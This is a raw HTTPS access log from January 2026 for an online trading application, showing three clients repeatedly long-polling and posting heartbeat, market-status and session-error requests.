[09/Jan/2026:10:15:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925216227 HTTP/1.1" -
[09/Jan/2026:10:15:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925202478 HTTP/1.1" -
[09/Jan/2026:10:15:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925208265 HTTP/1.1" -
[09/Jan/2026:10:15:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925207516 HTTP/1.1" -
[09/Jan/2026:10:15:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925222230 HTTP/1.1" -
[09/Jan/2026:10:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925213409 HTTP/1.1" -
[09/Jan/2026:10:15:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925212535 HTTP/1.1" -
[09/Jan/2026:10:15:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925228224 HTTP/1.1" -
[09/Jan/2026:10:15:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925218531 HTTP/1.1" -
[09/Jan/2026:10:15:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925217572 HTTP/1.1" -
[09/Jan/2026:10:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925234230 HTTP/1.1" -
[09/Jan/2026:10:15:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925223663 HTTP/1.1" -
[09/Jan/2026:10:15:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925222602 HTTP/1.1" -
[09/Jan/2026:10:15:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925240231 HTTP/1.1" -
[09/Jan/2026:10:15:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925228739 HTTP/1.1" -
[09/Jan/2026:10:15:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925227639 HTTP/1.1" -
[09/Jan/2026:10:16:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925233863 HTTP/1.1" -
[09/Jan/2026:10:16:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925246235 HTTP/1.1" -
[09/Jan/2026:10:16:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925232656 HTTP/1.1" -
[09/Jan/2026:10:16:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925238998 HTTP/1.1" -
[09/Jan/2026:10:16:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925237681 HTTP/1.1" -
[09/Jan/2026:10:16:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925252234 HTTP/1.1" -
[09/Jan/2026:10:16:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925244135 HTTP/1.1" -
[09/Jan/2026:10:16:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925242724 HTTP/1.1" -
[09/Jan/2026:10:16:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925258228 HTTP/1.1" -
[09/Jan/2026:10:16:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:16:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925249271 HTTP/1.1" -
[09/Jan/2026:10:16:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925247766 HTTP/1.1" -
[09/Jan/2026:10:16:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:16:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925264235 HTTP/1.1" -
[09/Jan/2026:10:16:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925254386 HTTP/1.1" -
[09/Jan/2026:10:16:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:16:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925252792 HTTP/1.1" -
[09/Jan/2026:10:16:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925270228 HTTP/1.1" -
[09/Jan/2026:10:16:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925259430 HTTP/1.1" -
[09/Jan/2026:10:16:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925257830 HTTP/1.1" -
[09/Jan/2026:10:16:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925276230 HTTP/1.1" -
[09/Jan/2026:10:16:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925264574 HTTP/1.1" -
[09/Jan/2026:10:16:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925262856 HTTP/1.1" -
[09/Jan/2026:10:16:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925269774 HTTP/1.1" -
[09/Jan/2026:10:16:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925282232 HTTP/1.1" -
[09/Jan/2026:10:16:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925267908 HTTP/1.1" -
[09/Jan/2026:10:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:16:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925274930 HTTP/1.1" -
[09/Jan/2026:10:16:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925272941 HTTP/1.1" -
[09/Jan/2026:10:16:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925288231 HTTP/1.1" -
[09/Jan/2026:10:16:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:16:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925280063 HTTP/1.1" -
[09/Jan/2026:10:16:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925278000 HTTP/1.1" -
[09/Jan/2026:10:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:16:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925294225 HTTP/1.1" -
[09/Jan/2026:10:16:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925285206 HTTP/1.1" -
[09/Jan/2026:10:16:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:16:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:16:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925283030 HTTP/1.1" -
[09/Jan/2026:10:16:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925300229 HTTP/1.1" -
[09/Jan/2026:10:16:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925290252 HTTP/1.1" -
[09/Jan/2026:10:16:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925288049 HTTP/1.1" -
[09/Jan/2026:10:17:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925306232 HTTP/1.1" -
[09/Jan/2026:10:17:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925295421 HTTP/1.1" -
[09/Jan/2026:10:17:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925293075 HTTP/1.1" -
[09/Jan/2026:10:17:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925312237 HTTP/1.1" -
[09/Jan/2026:10:17:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925300583 HTTP/1.1" -
[09/Jan/2026:10:17:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925298109 HTTP/1.1" -
[09/Jan/2026:10:17:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925303147 HTTP/1.1" -
[09/Jan/2026:10:17:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925305735 HTTP/1.1" -
